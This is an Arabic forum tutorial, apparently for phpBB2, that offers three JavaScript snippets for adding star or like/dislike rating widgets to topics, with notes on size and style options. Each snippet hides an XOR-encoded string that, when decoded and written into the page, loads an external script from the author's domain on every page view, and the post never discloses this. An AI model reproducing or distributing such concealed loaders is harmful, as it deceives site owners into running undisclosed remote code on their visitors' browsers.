Javascript تقييم five stars للمواضيع المميزة بعدة اشكال



ميزات الكود  
- يعمل على النسخة phpbb2 بشكل خاص ويعمل على جميع النسخ بشرط تعديل موقعه
- يوجد به صفحة احصائيات بعدد التقيمات ومستواها
- يمكن التحكم بستايل وشكل التقيم تحكم كامل
- يمكن التحكم ب المسميات المكتوبة في التقييم
- يمكن تغير مكان موقع التقييم ونقلة لموقع اخر في حال الرغبه  

ملاحظة : التقيم هذا للمواضيع فقط وليس للمشاركات

يوجد ثلاث انواع

الشكل الأول ( الفايف ستار )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

الشكل الثاني ( الايك والديس لايك )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

الشكل الثالث ( الاعجاب )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

طريقة التركيب  
 لوحة الادارة  
نتأكد من تفعيل الجافاسكربت  
نعلم على المواضيع
و نختار واحد من الاكواد الذي تريده

الشكل الأول ( الفايف ستار )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

الكود:


    var copyright ="www.haya-m.net - haya @ Rights Reserved";
    $(document).ready(function() {$('.browse-arrows:first'). after('<td align="left"><div class=rw-ui-container></div></td><td></td><style>.sprite-arrow_subsilver_left , .sprite-arrow_subsilver_right , .sprite-arrow_subsilver_down{display:none;}</style>');});var enkripsi="'1Aqapkrv'02qpa'1F'00jvvr'1C--hq,jc{c/o,lgv-qvcp,hq'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);function RW_Async_Init(){
    RW.init("c60c87cfd6d7dc0438fcbcdf8acfd69d",       {
                     advanced: {
                        star: {
                            stars: 5  // عدد نجوم الفايف ستار
                        },
                       font: {
                            hover: {
                               color: "#000"  //  لون الخط
                            },
                            color: "#000",  // اللون العام للخط
                            type: "tahoma"  // نوع الخط
                        },
                        text: {
                            rateAwful: "سيء",
                            ratePoor: "لا بأس",
                            rateAverage: "جيد",
                            rateGood: "رائع",
                            rateExcellent: "مميز",
                            rateThis: "تقييم",
                            like: " لايك",
                            dislike: " ديس لايك",
                            vote: "التقييم",
                            votes: "تقييم",
                            thanks: "شكرا",
                            outOf: "من أصل",
                            weRecommend: " "
                        }
                    },
                    label: {
                        background: "#fff"  // لون خلفية عداد التقييم
                    },
                    size: "medium",  // حجم التقييم
                    "type": "star", // نوع التقييم
                    lng: "ar", // اللغه
                    style: "oxygen",  // ستايل التقييم
                    forceSync: false    
                });
                RW.render();
            }



الشكل الثاني ( الايك والديس لايك )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

الكود :

الكود:


 

   var copyright ="www.haya-m.net - haya @ Rights Reserved";
    $(document).ready(function() {$('.browse-arrows:first'). after('<td align="left"><div class=rw-ui-container></div></td><td></td><style>.sprite-arrow_subsilver_left , .sprite-arrow_subsilver_right , .sprite-arrow_subsilver_down{display:none;}</style>');});var enkripsi="'1Aqapkrv'02qpa'1F'00jvvr'1C--hq,jc{c/o,lgv-qvcp,hq'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);function RW_Async_Init(){
    RW.init("c60c87cfd6d7dc0438fcbcdf8acfd69d",       {
                     advanced: {
                        star: {
                            stars: 5  // عدد نجوم الفايف ستار
                        },
                       font: {
                            hover: {
                               color: "#000"  //  لون الخط
                            },
                            color: "#000",  // اللون العام للخط
                            type: "tahoma"  // نوع الخط
                        },
                        text: {
                            rateAwful: "سيء",
                            ratePoor: "لا بأس",
                            rateAverage: "جيد",
                            rateGood: "رائع",
                            rateExcellent: "مميز",
                            rateThis: "تقييم",
                            like: " لايك",
                            dislike: " ديس لايك",
                            vote: "التقييم",
                            votes: "تقييم",
                            thanks: "شكرا",
                            outOf: "من أصل",
                            weRecommend: " "
                        }
                    },
                    label: {
                        background: "#fff"  // لون خلفية عداد التقييم
                    },
                    size: "medium",  // حجم التقييم
                    "type": "nero", // نوع التقييم
                    lng: "ar", // اللغه
                    style: "thumbs",  // ستايل التقييم
                    forceSync: false    
                });
                RW.render();
            }




الشكل الثالث ( الاعجاب )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
الكود :

الكود:




    var copyright ="www.haya-m.net - haya @ Rights Reserved";
    $(document).ready(function() {$('.browse-arrows:first'). after('<td align="left"><div class=rw-ui-container></div></td><td></td><style>.sprite-arrow_subsilver_left , .sprite-arrow_subsilver_right , .sprite-arrow_subsilver_down{display:none;}</style>');});var enkripsi="'1Aqapkrv'02qpa'1F'00jvvr'1C--hq,jc{c/o,lgv-qvcp,hq'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);function RW_Async_Init(){
    RW.init("c60c87cfd6d7dc0438fcbcdf8acfd69d",       {
                     advanced: {
                        star: {
                            stars: 5  // عدد نجوم الفايف ستار
                        },
    nero: {
                            "showDislike": false
                        },
                       font: {
                            hover: {
                               color: "#000"  //  لون الخط
                            },
                            color: "#000",  // اللون العام للخط
                            type: "tahoma"  // نوع الخط
                        },
                        text: {
                            rateAwful: "سيء",
                            ratePoor: "لا بأس",
                            rateAverage: "جيد",
                            rateGood: "رائع",
                            rateExcellent: "مميز",
                            rateThis: "تقييم",
                            like: " لايك",
                            dislike: " ديس لايك",
                            vote: "التقييم",
                            votes: "تقييم",
                            thanks: "شكرا",
                            outOf: "من أصل",
                            weRecommend: " "
                        }
                    },
                    label: {
                        background: "#fff"  // لون خلفية عداد التقييم
                    },
                    size: "medium",  // حجم التقييم
                    "type": "nero", // نوع التقييم
                    lng: "ar", // اللغه
                    style: "thumbs",  // ستايل التقييم
                    forceSync: false    
                });
                RW.render();
            }



هذا جدول يوضح كيف التحكم بأعدادات التقيم

المثالالوصفالشرح
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]يوجد اربعه احجام  التقييم
الأول الحجم الكبير
الثاني الحجم المتوسط
الثالث الحجم الصغير
الرابع الحجم الصغير جدا		من الكود نعدل على
 size: "medium",  // حجم التقييم
إلى الحجم الذي نريده
(large - medium - small - tiny)
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]توجد عده استايلات لكل نوع
من انواع التقييم الخاص بالفايف ستار		من الكود نعدل على
style: "oxygen",  // ستايل التقييم
إلى الاستايل الذي نريده
(oxygen - oxygen1 - crystal - darkglass - oxygen_green - oxygen_red - flat_yellow - flat_green - flat_red - flat_blue - flat_magenta - quartz)
ملاحظة : بخصوص الي مفعلين التومبيلات ومعدلين على قالب المواضيع في حال لم يعمل معكم الكود لابد من اجراء التعديلات على الكود وتغير موقع التقييم ليتناسب مع التعديلات التي اظفتموها في قالب المواضيع

لتعديل موقع التقييم لإي مكان تريدونه عدلوا على السطر هذا في كود الجافا



الكود:

   $(document).ready(function() {$('.browse-arrows:first'). after('<td align="left"><div class=rw-ui-container></div></td><td></td>');});


بحيث ان .browse-arrows:first هو موقع التقييم الحالي يمكنكم تغيرة للموقع الذي ترغبونه

▬▬▬▬▬▬▬▬ஜ ۩۞۩ ஜ▬▬▬▬▬▬▬▬
أهلا وسهلا يك (زائر) في منتديات التونسية للمحمول
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]  قوانين منتدى التونسية للمحمول ( المرور من هنا واجب )
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]  طريقة الإنظمام إلي مجموعة أعضاء سبور € GSM Tn
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]  هام لكل الأعضاء الجدد {اخي ..}، كنت عضومنذُ{8 أيام الأخيرة..}

كتبت وقد أيقنت يوم كتابتي بأن يدي تفنى ويبقى كتابها فإن كتبت خيرا ستجزى بمثله وإن كتبت شراً عليها حسابها...